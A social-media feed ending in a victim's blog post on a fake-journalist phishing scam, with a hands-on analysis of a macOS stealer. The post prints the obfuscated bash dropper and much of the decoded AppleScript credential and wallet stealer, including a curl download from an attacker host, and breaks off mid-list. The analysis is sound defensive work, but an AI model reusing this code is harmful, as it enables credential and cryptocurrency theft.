Show newer

How Tech Company Recruiters Sidestep Trump’s Immigration Crackdown

Every Sunday, newspapers are full of ads for tech jobs that aren't really looking for applicants. They reveal an aspect of U.S. immigration law that hurts both domestic and foreign workers — yet has endured for decades.
propublica.org/article/trump-i

#News #Tech #Technology #Trump #Immigration #Visa

I'm looking for people to try out a new version of Base, my SQLite editor for macOS.

If you'd like to give it a go, send me a private message with your email address (only used for TestFlight, no junk).

Boosts appreciated.

#macosdev #macos #TestFlight #sqlite

US Secretary of Defence Pete Hegseth just realized, Ukraine destroyed more than 40 strategic bombers on Russian airbases, and The Atlantic was not even invited to the group chat.

Lmao. A startup in UK that raised $445 million claiming to revolutionize app development with artificial intelligence has collapsed — after it was revealed that the “AI” behind its operations was, in reality, 700 human engineers based in India. Basically, it was a big scam and there was no AI. Just humans doing work businesstoday.in/amp/technolog (nom amp link businesstoday.in/technology/ne )

Direct File is now open source. Finally.

A short, personal post about why: chrisgiven.com/2025/05/direct-

Massive kudos to the Direct File team for pulling this off and showing their commitment to transparency and earning trust.

PeerTube has started out as a student project but has since gained an international recognition.
An increasing number of institutions and media outlets use PeerTube to share and distribute their videos, and community initiatives such as TILVids or MakerTube are attracting a growing number of content creators.

We're really amazed to see the PeerTube ecosystem growing!

Show thread

Announcing: justaqrcode.com.

Tired of "free" QR code generators that are full of ads and trackers, that share your data, and that want to sell you something? Me too. Here's my act of resistance: I made a one-page site that works entirely in your browser to generate a simple QR code. And that's all it does. You can download the HTML page and run it locally, even. Read the source; nothing up my sleeves. Just a QR code.

My offer to you -- I will continue to pay for the domain name and web hosting for it, myself. If you find it valuable, you can pay it back by creating your own useful thing for the world and releasing it for free. Let's take back the friendly web, one vexingly-monetized utility at a time!

#QRcode #Free #FriendlyWeb #Resistance

🚨 *Attention!* We were made aware of a fake “KeePassXC Password Manager Pro” repository on GitHub that links to unverified external binary downloads.
- There is NO Pro version of KeePassXC!
- You get all the “Pro” features with the regular version.
Please download KeePassXC only from trusted distribution channels linked on keepassxc.org/ !

This is not a budget. It’s a legislative weapon. A giveaway to the industries bleeding the American West dry—oil and gas, hardrock mining, industrial logging, and the livestock lobby—all jammed into one massive omnibus package, fast-tracked to the House floor with as little public scrutiny as possible.

westernwatersheds.substack.com

This is the story of a phishing, of a hacking,
of what I learned,
and how I counterattacked

The phishing

It all started with an email from a journalist who wanted to interview me about my artistic work. The email was from a certain Eirik Halvorsen, coming on the behalf of an online art magazine, Artscope. This happens to me regularly, but this time, the email was so cleanly and formally written that I told my friends that it looked like it had been written by an AI.

 

 

But it was polite, the magazine web site seemed professional so I nonetheless responded, and after a few email exchanges, we decided for a video interview (which I proposed myself). The day before, the journalist sent me the questions that he was going to ask me, and they were quite professional.

The day of the interview, he sent me a link to do the video interview : lape.ai with a code to start the meeting. I got a little bit suspicious as this video app is not known, so I looked at the website, and I also googled it. It had a section on medium.com and a twitter account for more than 6 months, so I felt a bit reassured. I went along and after giving the code that he had sent me, the lape.ai web site asked me to download a video app, which I did. The download web site was not lape.ai, which made me again suspicious. When I received the installer file, a .dmg (I am on Mac), and opened it, it displayed the usual “drag and drop this file”, but this time it was not to drop it on the Applications folder as usual, but on the Terminal app.

It felt really wrong, and I told the journalist (by email), to which he responded right away, that it was normal as it was a company-style installation, even giving me instructions.

 

At this point, all the warnings were on for me, but something really strange happened : I had confidence in this person, he was professional and polite, and I just could not believe that something bad could happen. So I did it, I dragged and dropped the file to Terminal…

It asked for my password, which happens when installing some low level apps. I hesitated again, and again jumped into this with trust.

Nothing happened. I waited a few minutes, and told the guy, to which he answered that he would contact the IT guys.

 

 

In the meantime I did it again, just to be sure (no !). As I was curious on what was happening, I looked into the process Monitor, and I noticed that a process called osascript was running and going a lot of things. Then it stopped.

In the meantime, my polite journalist had written me, telling me that the IT people had said that my IP had problems, and that he was sorry but we should do the interview by email. He even continued to finish his emails with “kind regards”…

 

 

Then I never heard of him again.

When reflecting on this, this is the most disturbing part, which still haunts me. The way that this person built the trust that I put in him (I’m pretty confident it was a him, not a her), just to be able to harm me. When I interact online, I am systematically cautious, not paranoid, just automatically cautious. I verify all the links before I click on them, I check on the people’s credentials and references online before answering to a message. It does not take me long, I just do it for sanity. For this person, I did not even search his name online, I only looked for the magazine name and also the videoconference web site lape.ai, and for both of them I found references online.

The apparent professionalism of the email messages, even though a little too perfect, really fooled me. The fact that he sent me the questions of the interview in advance was quite professional, and the questions were good questions, about which I even took some time to prepare the answers, to prepare what I was going to say during the interview… He probably used chatGPT to write the initial email and the questions. All this professional process really built my trust. Up to a point were I was ready to install an obviously fishy software that I would never have installed normally. And then, when I doubted, he was really concerned and helpful, helping me install the software, and even continuing to respond with concern after ward, and pretending to continue the interview by email, ending with “kind regards”, just to be sure that I was not too suspicious and that I let the malware have the time to do its job. Very professional phishing, and very perverse behavior. This was quite traumatizing, the psychological path from genuine trust to the realization that I had been scammed.

The hacking

I googled osascript, and there come a load of pages relating osascript to viruses, phishing, malware, etc.. I realized that I had just been phished, and badly.

I cut the wifi.

On my phone, I searched “osascript malware” and found some sites describing osascript malware that would pump all text file, keychains and cookies from your hard drive and send it to a server on internet. I understood the scope of the problem that I had.

I felt dizzy and stressed.

The keychains contain the passwords to websites if you allow it, which I do most of the time. It contains credit card numbers with expiration date and possibly CVC number. The cookies contain login credentials to websites. And on my desktop, I have a text file that contains absolutely all my numbers : credit card PIN codes, passport numbers, passwords for my daughter’s accounts, passwords to absolutely all the websites I have logged in any time in my life, crypto wallet account keys and recovery phrases, etc… Absolutely all my memory of important numbers (I know, this is bad habit). According to what I had read on internet, these malwares can copy all txt file to the hacker’s server, so all my confidential data was in the hand of a professional hacker.

I went into survival mode.

I immediately blocked my credit cards and changed my bank login. I changed all the passwords on my government-related sites, to avoid identity theft. I changed all the passwords on online commercial sites which have my credit card in memory (train companies, amazon, electricity company, etc..). I changed all my Apple, iCloud, Microsoft, Google passwords.

I have a few crypto wallets, though quite empty. I googled how to salvage my crypto wallets : there is no way to close or protect a crypto wallet or a crypto account. The only thing to do is to open a new wallet and a new account and transfer all the crypto money to it as soon as possible, before anyone else gets to the old one and transfers the money to some other account. Then the old empty wallets and accounts stay on the blockchain forever, empty and lost. I did this.

Then I spent the next three days, more than 30 hours total, going through all the login and passwords which I had in my text file and in my keychains, and change them on their corresponding web sites (more than 150 of them). I also warned my daughter and my partner to change their passwords of which I had a copy. I started from the more important web sites to the more insignificant. This was fastidious and stressful, but I managed to do them all, taking the time to clean up old accounts, close accounts, etc..

The counterattack

I wanted to report as much as I could in order to reduce the risk for others to get phished like I was.

I warned my network on mastodon and on Facebook. This had a large impact, especially in the artistic world where I come from, since we are all solicited by journalists.

I reported the eirik.artscope@gmail.com account to google, though I guess it had disappeared in the meantime.

The lape.ai web site is clearly part of the scam, since it is on this site that I clicked on the url that downloaded the malware. I reported this site to the authorities:

my local french government site dedicated to online scams : Pharos
the Phishing Initiative (european)
the UK Action Fraud
and the National Cyber Security Center also since the company appeared to be registered in the UK.

After checking one week later, this site is now unreachable (error 403). Maybe my reporting had some effect!

Digging in

But something was on my mind : I did not know what the malware had really done, if it had left some executable behind, that would wake up at some point and do more harm, or spy on me right now.

Also I was curious.

So I counter-attacked : I analyzed the malware. This is going to become rather technical. Do not to this at home unless you know exactly what you are doing ! I have 45 years experience in programming, I use debuggers all the time, I know all sorts of langages including assembly langage, I know how all this works at the lowest level.

First I analyzed the initial file called Installer.cNh that I had dropped on Terminal. I opened it in a text editor :

#!/bin/bashif false; then    kwwbhn=696    sfbdLyrV() {        local var=177        return 0    }    bBMESt=575fiibeRhT() { echo "$1" | base64 --decode; }rzJyskGN='WxnwYOXLbORfNuEgeLH6LXBT+37flE7oclzpeFLArApbI9Fg3s9C6HdTnwNSwNwBW'aIqKmvLu='yjnb9n3b/ZaR+ovUsDcAVso+3rY5UL6clzlOk/E8Rx2I/cm3t9C4nJc5XhSxM8WcVLBbP/PQfZaR+kkee7MAXYo/yP/'ipUyigCt='z0H2WkfpMkHbzAF2J/Nv5pRWoUFDxzJ6+t9WcBn0f/XBb/ZaR+ovf8vXU1EJ9HH15UH2WkfqL3juyxFIN/Mm9e5k4XdDzC9BxPEccxn3Zt7PQvpyXOU6T8TxHHYh2nH15UH2WkfqL1LA3AFbI/dm5'# OezudfAVtipUHFzgcq='s9C+nJc5TpSxNMQcA7nft3xNetaR+ECee3TVks3zWXm/kn4Wkz5J0HUqS1'RDCclknE='bI/Rx9eVB9lpH6i9SwNwBWyP0cfXuTv13R+l4QtvXCEg451Pd/k7jWkz5PlLEzxZxUsZd9eVB9l'lOGMFggm='pH6i9SwNw'# QCvblxMHfyDNdxECjd='BWyP0cfXlQfZaQ/18etvMAXEN42Hm8Ua'OSQupXxi='hUG3qL1LA3AFbI/Rx9eVB9lpD/T1BwN8WSAfacfXlQfZaR+ovUsTLE0gj92/'bJVtmRLk='m/kL9Slz6A1LA3AFbJ+Nj5uVCoXBqwANSwN'QUiUNFUN='wBWyfZe/XuUvlwac8kf8bPFnFSxnHd/k32Wm3iL3/E9QpwB9px9eVB9lpH6i9Sy9cKdijjb97Bb/ZaR+ovQdSoDVsn2Xv/z0H2WkfpMkHbzAFIDYxl5uFW6EZD7Xh6wN9WcBn0f/CXWudxTP08QdvQEFsJ9Hv17lL5c'NlPKsvYk='GnPJH/GzxZxUsZx9s9B+F994gNSwNwBWyj7etjlQvlwTOkHQtSsClso52D15UnkQFOeMn/E2xVwJ+Nv9cFv9lp'# zPldQfUSfIRpmRxvac='H6i94sctWWyfzYd/gQvl3Q8wvf8SlAUgNjGXm4VboRkPteHrA3AtbJ/Nh3+M1+XFT'# OIEHgPmToiIqSSpSuz='/gNSwNwBWyj7etjlQqFJU5o/StvfEUcn8ybd5UKhcX3qIVewzxJxI41/9eVZ9kpc6T9P7tsSSDHacfXlQfZ3TOF9WOrcAVsj9HH15UH2SUOTL3ix9QpwJ8Jx35RO6HJc6Xh'# btTleUMIxGqkugANUA='SwNcfcDP0YubPQfhaR/IveNvLEHYn'tkJDXApY='43314VrncGmbL3mxxAF2J+Ni3+NG5nBC6SB/xPotWyP0'LXEDMaKk='cfXhVuRJR'FpKvDMQh='+l4eO32LV'# nLifVfbNErfQMUQXVg='sj9HH17lLodlXEL1LA3AFbI/Rx9eFS51pM5SdB1OUVWyj7fN/LbOZ3R+ohQrDcAVsJ9Hv17kagcTf5JEHA3wtwU/9i9eE5/FpD7T94xd8OdifScfbPQfhaR+IvUerfHnY3jCbm8VH2SWmSMXnQ3xBICfcm5vE'iNXyEIZi='x5kJc6T9OxNtWcyHacfXlQfZJU54jUsvPH3cx2nH15UH2d0zhfVjq3'# MtbZDnddBBdokLcdrs='AFbI/Rx9eVB9klDky94sfUKcCfCcd+UTuhyXOl4'# rBUOcSzdPdrgdiKTrO='UsDXUks45ybfz0HlSn3qIVLAxAFxOONg2OFW+lpD8T547q0BcFLscdjhVuVwQe0/eMXfDnYn0l315UH2WkP9PUHA31ZxDt5d9eVB9lpM+TF+0vIBWyP0cfXlQfZaQ/k+UsvTCUg3zWX17k77cGnHP3/A3A9LU'# FZFYfIAyOFltTvVaCg='t1i3'CInMsuWw='pRR9lg3zC9S6twLWyjzJ96VUv1JR+klebDXElsnjHv17lL9cVzpCnjL3zdLOOd5/89B9lpH6SR57swBd'aiIFQEux='ij/I//PQfZaR+l4eO32LVsj9HH15UH2WkfpI3n63xxzJ+Nl3uVC60o34Th4y8wBcTjjYNjhVvpaQ/E+eO6tAXBS7HHY4VblcEHtP3jF3w52J9Jd9eVB9lpD/T1BwN9WcQ7eXebxNfpaTOF5eer+Ww=='# dqwYjGJwQiVVdRyh="${rzJyskGN}${aIqKmvLu}${ipUyigCt}${pUHFzgcq}${RDCclknE}${lOGMFggm}${DNdxECjd}${OSQupXxi}${bJVtmRLk}${QUiUNFUN}${NlPKsvYk}${RpmRxvac}${IqSSpSuz}${qkugANUA}${tkJDXApY}${LXEDMaKk}${FpKvDMQh}${fQMUQXVg}${iNXyEIZi}${dokLcdrs}${rgdiKTrO}${ltTvVaCg}${CInMsuWw}${aiIFQEux}"EEzcqu=$(echo "$VVdRyh" | base64 --decode | perl -e 'my $key = pack("H*", "1260b516bca600911304ab481b839d66"); my $data = do { local $/; <STDIN> }; my $k = length($key); for(my $i=0; $i < length($data); $i++){ print chr( ord(substr($data, $i, 1)) ^ ord(substr($key, $i % $k, 1)) ); }')dUoQZa=$(ibeRhT "$EEzcqu")eval "$dUoQZa"

This code is a bash script, a common unix scripting langage. But the content is obfuscated. The reason they do this is to avoid being detected by antiviruses which scan the files looking for certain strings.

This script creates a command that it evaluates on the last line (eval). The command is created by concatenating strings which are all encoded in base64 and other ways to hide the content of the command. Instead of trying to understand the encoding, I just replaced the ‘eval’ in the last line by ‘echo’, which prints its argument instead of evaluating it. A simple but effective trick. And I ran the script again. It outputted the real script that it was supposed to execute:

#!/bin/bashosascript -e 'on runtry    set diskList to list disksend tryset targetDisk to ""try    repeat with disk in diskList        if disk contains "Installer" then            set targetDisk to disk            exit repeat        end if    end repeatend tryif targetDisk is "" then    returnend ifset folderPath to "/Volumes/" & targetDisk & "/"set appName to ".Installer"set appPath to folderPath & appNameset tempAppPath to "/tmp/" & appNametry    do shell script "rm -f " & quoted form of tempAppPathend trytry    do shell script "cp " & quoted form of appPath & " " & quoted form of tempAppPathend trytry    do shell script "xattr -c " & quoted form of tempAppPathend trytry    do shell script "chmod +x " & quoted form of tempAppPathend trytry    do shell script quoted form of tempAppPathend tryend run'

This is more clear. It is a call to the osacript command, with a script.

My online research shows that osascript is the main entry point for hackers on Macintosh. Osascript is a command that executes AppleScript scripts. AppleScript can manipulate files, call applications and make them execute commands, all this with the user credentials. It has all he authorizations of the user and can do almost everything a user could do with its own system. Many are advocating for Apple to remove this osascript command as it is so dangerous, but it is still there.

The script that is passed to osascript here is rather simple : it searches all the volumes (disks and other mounted disk images) for the first one that contains a file named “.Installer”. And if it finds it, it copies it on the local disk in the folder “/tmp”. And then it runs it. This “.Installer” file was on the disk image that I downloaded.

So this “.Installer” is the real malware. But it is a compiled executable, not a script. This gets tricky. I know that it calls osascript also, since I saw osascript running for a long time when I looked at the process monitor, and the above osascript script is really fast to execute so it cannot be the one that I saw running for a few minutes. So in order to know what it does I have to find the AppleScript script that it passes to osascript.

This script is a string, so I have to look for strings inside the executable. I opened this “.Installer” executable inside my favorite text editor that opens anything : SublimeText. But there was no script strings.

There I needed some help. I watched a few online videos about how to analyse malware, and I noticed a very useful app, called Binary Ninja. This app decompiles compiled executable into code that looks as much as possible to C, and also analyses the various sections of the executable (string constants, memory, etc..). And mostly : it gives the possibility to run the executable inside a debugger, which is something that I love to do.

So I downloaded “Binary Ninja” and opened the executable to analyze its insides.

First thing : as I already found out with SublimeText, there is nothing that looks like an AppleScript text script in the string sections of the executable. This is no surprise as a plain text script would allow antiviruses to detect the malware by looking for suspicious text scripts with well known strings inside executables. The script is probably obfuscated like the one above, and is decoded at run time and then passed to osascript. So this script only exists in readable form when the executable is running.

Which means that I had to run the malware again in order to find its script.

Risky. But: no risk no fun !

My first thought was to run the malware and to trick it by making it call another osascript command than the system one (which evaluates the AppleScript script). I would create another osascript command, using bash for example, that would just log the script that it would receive instead of executing it. This was a bit tricky because osascript is a system command (/usr/bin/osascript) and it is difficult to overwrite, even with administrator credentials, as the Mac is protected by System Integrity Protection. I thought about changing the $PATH, which is the list of paths that bash uses to find commands, and make it point to a directory of mine, where I would have put my own osascript command, _before_ the /usr/bin directory. But this was dangerous, as I needed to be absolutely sure that this trick worked for the malware. It could for example contain code that executed directly the “/usr/bin/osascript” command, in which case my $PATH trick would not work.

So I chose to use the debugger and run the executable inside the debugger. Again, do not to this at home unless you know exactly what you are doing!

Inside “Binary Ninja”, I found the main entry point of the malware, the _start function. It looks like this :

One can see that it calls the “_system” function three times. There are other functions with generic names, but by looking into them recursively, I see that none of them calls any function outside the malware itself. And the only calls to “_system” are in the “_start” function. So my guess is that the generic function does the decoding of the obfuscated AppleScript script and that one of the “_system” calls actually calls osascript.

So I put a breakpoint on the first line of the start function and started the malware in the debugger.

The debugger stopped at the breakpoint and I carefully stepped one line at a time, stepping into the various helper functions, looking at the local variables and registers. Then, just before calling the first “_system” function, one register contained the string “osascript -e …”. My intuition was good : the malware decodes the obfuscated script from static memory to a temporary buffer in RAM, using the generically named helper functions.

As I cannot see the whole string in the window, I jump to the memory location of the pointer:

And here I can copy and paste this string in SublimeText, and here it is, reformatted to be readable :

We can see that it is a call to osascript, as expected. What this script does is to check if the executable is actually run inside a virtual machine like VMware. Virtual machines are used to analyse malware (see below), and this specific malware detects if it is currently being analyzed inside a virtual machine, and in this case returns a certain value (42, probably a inside joke about the Hitchhicker’s guide to the Galaxy), which is detected in the _start function, which then just exists without doing anything. This is in the hope of being undetected by malware analysis virtual machines. In our case, we are not a virtual machine, so the executable continues.

And I follow it, stepping inside every function. The next script appears, just before the second call to “_system” :

It is not a call to osascript, it says : “disown; pkill Terminal”. This is bash script that kills Terminal without killing the malware itself (which is a subprocess of Terminal right now). The author of the malware does not want the user to see what it is doing inside Terminal. This call is innocuous so I step over it and let it kill Terminal.

The next line is again a “_system” call. This is the last system call, so it must be where the real action is happening. This is the moment where I should not make one more step or the malware would do its malware thing. Intense moment. I step into the helper functions. And here, at some point, a register points to a very long string. The start of the string is “osascript -e”, but I do not see the end in the debugger. This is it.

I have to jump again to the memory location in the memory explorer and scroll until I find the end of the string (a zero in hexadecimal).

In the memory explorer, I can select this data. It is a formatted AppleScript script, with the new lines and TAB encoded using \n, \r and \t. I use SublimeText to replace all these to make it readable.

And, tadaa, here is the whole script of the malware, in AppleScript langage:

set release to trueset filegrabbers to truetell application "Terminal" to set visible of the front window to falseon filesizer(paths) set fsz to 0 try set theItem to quoted form of POSIX path of paths set fsz to (do shell script "/usr/bin/mdls -name kMDItemFSSize -raw " & theItem) end try return fszend filesizeron mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script "mkdir -p " & filePosixPath end tryend mkdiron FileName(filePath) try set reversedPath to (reverse of every character of filePath) as string set trimmedPath to text 1 thru ((offset of "/" in reversedPath) - 1) of reversedPath set finalPath to (reverse of every character of trimmedPath) as string return finalPath end tryend FileNameon BeforeFileName(filePath) try set lastSlash to offset of "/" in (reverse of every character of filePath) as string set trimmedPath to text 1 thru -(lastSlash + 1) of filePath return trimmedPath end tryend BeforeFileNameon writeText(textToWrite, filePath) try set folderPath to BeforeFileName(filePath) mkdir(folderPath) set fileRef to (open for access filePath with write permission) write textToWrite to fileRef starting at eof close access fileRef end tryend writeTexton readwrite(path_to_file, path_as_save) try set fileContent to read path_to_file set folderPath to BeforeFileName(path_as_save) mkdir(folderPath) do shell script "cat " & quoted form of path_to_file & " > " & quoted form of path_as_save end tryend readwriteon readwrite2(path_to_file, path_as_save) try set folderPath to do shell script "dirname " & quoted form of path_as_save mkdir(folderPath) tell application "Finder" set sourceFile to POSIX file path_to_file as alias set destinationFolder to POSIX file folderPath as alias duplicate sourceFile to destinationFolder with replacing end tell end tryend readwrite2on replaceApp(pr, pass) try set appPath to "/Applications/Ledger Live.app" list folder POSIX file appPath set filePath to pr & "/.private" do shell script "rm -f " & quoted form of filePath writeText("user1", pr & "/.private") do shell script "curl https://gknkargo.com/zxc/app.zip -o /tmp/app.zip" try do shell script "pkill \"Ledger Live\"" end try do shell script "echo " & quoted form of pass & " | sudo -S rm -r " & quoted form of appPath delay 1 do shell script "unzip /tmp/app.zip -d /Applications" delay 1 do shell script "rm /tmp/app.zip" end tryend replaceAppon isDirectory(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) set fileType to (do shell script "file -b " & filePosixPath) if fileType ends with "directory" then return true end if return false end tryend isDirectoryon GrabFolderLimit(sourceFolder, destinationFolder) try set bankSize to 0 set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & "/" & currentItem set savePath to destinationFolder & "/" & currentItem if isDirectory(itemPath) then GrabFolderLimit(itemPath, savePath) else set fsz to filesizer(itemPath) set bankSize to bankSize + fsz if bankSize < 10 * 1024 * 1024 then readwrite(itemPath, savePath) end if end if end if end repeat end tryend GrabFolderLimiton GrabFolder(sourceFolder, destinationFolder) try set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews", "dumps", "emoji", "user_data", "__update__", "user_data#2", "user_data#3"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & "/" & currentItem set savePath to destinationFolder & "/" & currentItem if isDirectory(itemPath) then GrabFolder(itemPath, savePath) else readwrite(itemPath, savePath) end if end if end repeat end tryend GrabFolderon parseFF(firefox, writemind) try set myFiles to {"/cookies.sqlite", "/formhistory.sqlite", "/key4.db", "/logins.json"} set fileList to list folder firefox without invisibles repeat with currentItem in fileList set fpath to writemind & "ff/" & currentItem set readpath to firefox & currentItem repeat with FFile in myFiles readwrite(readpath & FFile, fpath & FFile) end repeat end repeat end tryend parseFFon checkvalid(username, password_entered) try set result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_entered if result is not equal to "" then return false else return true end if on error return false end tryend checkvalidon getpwd(username, writemind) try if checkvalid(username, "") then set result to do shell script "security 2>&1 > /dev/null find-generic-password -ga \"Chrome\" | awk \"{print $2}\"" writeText(result as string, writemind & "masterpass-chrome") else repeat set result to display dialog "Required Application Helper.Please enter password for continue." default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answer set password_entered to text returned of result if checkvalid(username, password_entered) then writeText(password_entered, writemind & "pwd") return password_entered end if end repeat end if end try return ""end getpwdon grabPlugins(profilepath, paths, savePath, pluginList, index) try set fileList to list folder paths without invisibles repeat with PFile in fileList repeat with Plugin in pluginList if (PFile contains Plugin) then set newpath to paths & PFile set newsavepath to savePath & "/" & Plugin if index then set newsavepath to newsavepath & "/IndexedDB/" end if GrabFolder(newpath, newsavepath) GrabFolder(profilepath & "/Local Storage/leveldb/", savePath & "/Local Storage/") end if end repeat end repeat end tryend grabPluginson chromium(writemind, chromium_map) set pluginList to {"ppdadbejkmjnefldpcdjhnkpbjkikoip", "ppbibelpcjmhbdihakflkdcoccbgbkpo", "pocmplpaccanhmnllbbkpgfliimjljgo", "pnndplcbkakcplkjnolgbkdgjikjednm", "pnlccmojcmeohlpggmfnbbiapkmbliob", "phkbamefinggmakgklpkljjmgibohnba", "pgiaagfkgcbnmiiolekcfmljdagdhlcm", "pdadjkfkgcafgbceimcpbkalnfnepbnk", "pcndjhkinnkaohffealmlmhaepkpmgkb", "papngmkmknnmfhabbckobgfpihpdgplk", "panpgppehdchfphcigocleabcmcgfoca", "opfgelmcmbiajamepnmloijbpoleiama", "opcgpfmipidbgpenhmajoajpbobppdil", "ookjlbkiijinhpmnjffcofjonbfbgaoc", "onhogfjeacnfoofkfgppdlbmlmnplgbn", "omaabbefbmiijedngplfjmnooppbclkk", "ojggmchlghnjlapmfbnjholfjkiidbch", "ojbcfhjmpigfobfclfflafhblgemeidi", "ocjobpilfplciaddcbafabcegbilnbnb", "oboonakemofpalcgghocfoadofidjkkk", "oafedfoadhdjjcipmcbecikgokpaphjk", "nphplpgoakhhjchkkhmiggakijnkhfnd", "nopnfnlbinpfoihclomelncopjiioain", "nngceckbapebfimnlniiiahkandclblb", "nlgnepoeokdfodgjkjiblkadkjbdfmgd", "nlgbhdfgdhgbiamfdfmbikcdghidoadd", "nknhiehlklippafakaeklbeglecifhad", "nkbihfbeogaeaoehlefnkodbefgpgknn", "nhnkbkgjikgcigadomkphalanndcapjk", "nhlnehondigmgckngjomcpcefcdplmgc", "nhbicdelgedinnbcidconlnfeionhbml", "nbdpmlhambbdkhkmbfpljckjcmgibalo", "nbdhibgjnjpnkajaghbffjbkcgljfgdi", "naepdomgkenhinolocfifgehidddafch", "mnfifefkajgofkcjkemidiaecocnkjeh", "mmmjbcfofconkannjonfmjjajpllddbg", "mmhlniccooihdimnnjhamobppdhaolme", "mmclamjkknobggpiohfneimmnlggagok", "mjgkpalnahacmhkikiommfiomhjipgjn", "mgffkfbidihjpoaomajlbgchddlicgpn", "mfhbebgoclkghebffdldpobeajmbecfk", "mfgccjchihfkkindfppnaooecgfneiii", "mdjmfdffdcmnoblignmgpommbefadffd", "mcohilncbfahbmgdjkbpemcciiolgcge", "mapbhaebnddapnmifbbkgeedkeplgjmf", "lpilbniiabackdjcionkobglmddfbcjo", "lpfcbjknijpeeillifnkikgncikgfhdo", "loinekcabhlmhjjbocijdoimmejangoa", "lmkncnlpeipongihbffpljgehamdebgi", "lgmpcpglpngdoalbgeoldeajfclnhafa", "lgbjhdkjmpgjgcbcdlhkokkckpjmedgc", "ldinpeekobnhjjdofggfgjlcehhmanlj", "lcmncloheoekhbmljjlhdlaobkedjbgd", "lccbohhgfkdikahanoclbdmaolidjdfl", "kncchdigobghenbbaddojjnnaogfppfj", "kmhcihpebfmpgmihbkipmjlmmioameka", "kmcfomidfpdkfieipokbalgegidffkal", "klnaejjgbibmhlephnhpmaofohgkpgkd", "klghhnkeealcohjjanjjdaeeggmfmlpl", "kkpllkodjeloidieedojogacfhpaihoh", "kkpllbgjhchghjapjbinnoddmciocphm", "kkilomkmpmkbdnfelcpgckmpcaemjcdh", "kilnpioakcdndlodeeceffgjdpojajlo", "khpkpbbcccdmmclmpigdgddabeilkdpd", "kglcipoddmbniebnibibkghfijekllbl", "kfdniefadaanbjodldohaedphafoffoh", "keenhcnmdmjjhincpilijphpiohdppno", "kbdcddcmgoplfockflacnnefaehaiocb", "jojhfeoedkpkglbfimdfabpdfjaoolaf", "jnmbobjmhlngoefaiojfljckilhhlhcj", "jnlgamecbpmbajjfhmmmlhejkemejdma", "jnldfbidonfeldmalbflbmlebbipcnle", "jnkelfanjkeadonecabehalmbgpfodjm", "jkoeaghipilijlahjplgbfiocjhldnap", "jkjgekcefbkpogohigkgooodolhdgcda", "jiidiaalihmmhddjgbnbgdfflelocpak", "jiepnaheligkibgcjgjepjfppgbcghmp", "jhfjfclepacoldmjmkmdlmganfaalklb", "jgnfghanfbjmimbdmnjfofnbcgpkbegj", "jfmajkmgjpjognffefopllhaijknhnmm", "jcacnejopjdphbnjgfaaobbfafkihpep", "jbppfhkifinbpinekbahmdomhlaidhfm", "jblndlipeogpafnldhgmapagcccfchpi", "jbkgjmpfammbgejcpedggoefddacbdia", "iokeahhehimjnekafflcihljlcjccdbe", "inlkhilmjmjomfcpdifpfgllhhlpnbej", "ilhaljfiglknggcoegeknjghdgampffk", "igkpcodhieompeloncfnbekccinhapdb", "ifckdpamphokdglkkdomedpdegcjhjdp", "idnnbdplmphpflfnlkomgpfbpcgelopg", "icpikagpkkbldbfjlbefnmmmcohbjije", "icblpoalghoakidcjiheabnkijnklhhe", "ibnejdfjmmkpcnlpebklmnkoeoihofec", "hpclkefagolihohboafpheddmmgdffjm", "hpbgcgmiemanfelegbndmhieiigkackl", "hnfanknocfeofbddgcijnmhnfnkdnaad", "hmeobnfnfcmdkdcmlblgagmfpfboieaf", "hifafgmccdpekplomjjkcfgodnhcellj", "hdokiejnpimakedhajhdlcegeplioahd", "hbbgbephgojikajhfbomhlmmollphcad", "gpnihlnnodeiiaakbikldcihojploeca", "gkeelndblnomfmjnophbhfhcjbcnemka", "gjlmehlldlphhljhpnlddaodbjjcchai", "gjkdbeaiifkpoencioahhcilildpjhgh", "gjagmgiddbbciopjhllkdnddhcglnemk", "ginchbkmljhldofnbjabmeophlhdldgp", "ghlmndacnhlaekppcllcpcjjjomjkjpg", "gdokollfhmnbfckbobkdbakhilldkhcj", "gbjepgaebckfidagpfeioimheabiohmg", "gafhhkghbfjjkeiendhlofajokpaflmk", "gadbifgblmedliakbceidegloehmffic", "fpkhgmpbidmiogeglndfbkegfdlnajnf", "fpibioaihcagphbidhodidjbnclocgll", "fopmedgnkfpebgllppeddmmochcookhc", "fnjhmkhhmkbjkkabndcnnogagogbneec", "fmhmiaejopepamlcjkncpgpdjichnecm", "fmblappgoiilbgafhjklehhfifbdocee", "flpiciilemghbmfalicajoolhkkenfel", "fijngjgcjhjmmpcmkeiomlglpeiijkld", "fiikommddbeccaoicoejoniammnalkfa", "fhilaheimglignddkjgofkcbgekhenbh", "fhbohimaelbohpjbbldcngcnapndodjp", "fghhpjoffbgecjikiipbkpdakfmkbmig", "ffnbelfdoeiohenkjibnmadjiehjhajb", "fcfcfllfndlomdhbehjjcoimbgofdncg", "fcckkdbjnoikooededlapcalpionmalo", "epapihdplajcdnnkdeiahlgigofloibg", "eomhlheglneofffmbfjflldlbcnhpkpb", "eokbbaidfgdndnljmffldfgjklpjkdoi", "enabgbdfcbaehmbigakijjabdpdnimlg", "emeeapjkbcbpbpgaagfchmcgglmebnen", "elalghlhoepcjfaedkcmjolahamlnjcp", "ejjladinnckdgjemekebdpeokbikhfci", "einnioafmpimabjcddiinlhmijaionap", "egjidjbpglichdcondbcbdnbeeppgdph", "efbglgofoippbgcjepnhiblaibcnclgk", "ebfidpplhabeedpnhjnobghokpiioolj", "eamiofncoknfkefhlkdblngblpffehek", "eajafomhmkipbjmfmhebemolkcicgfmd", "dphoaaiomekdhacmfoblfblmncpnbahm", "dngmlblcodfobpdpecaadgfbcggfjfnm", "dmkamcknogkgcdfhhbddcghachkejeap", "dldjpboieedgcmpkchcjcbijingjcgok", "dlcobpjiigpikoobohmabehhmhfoodbb", "dkdedlpgdmmkkfjabffeganieamfklkm", "dbgnhckhnppddckangcjbkjnlddbjkna", 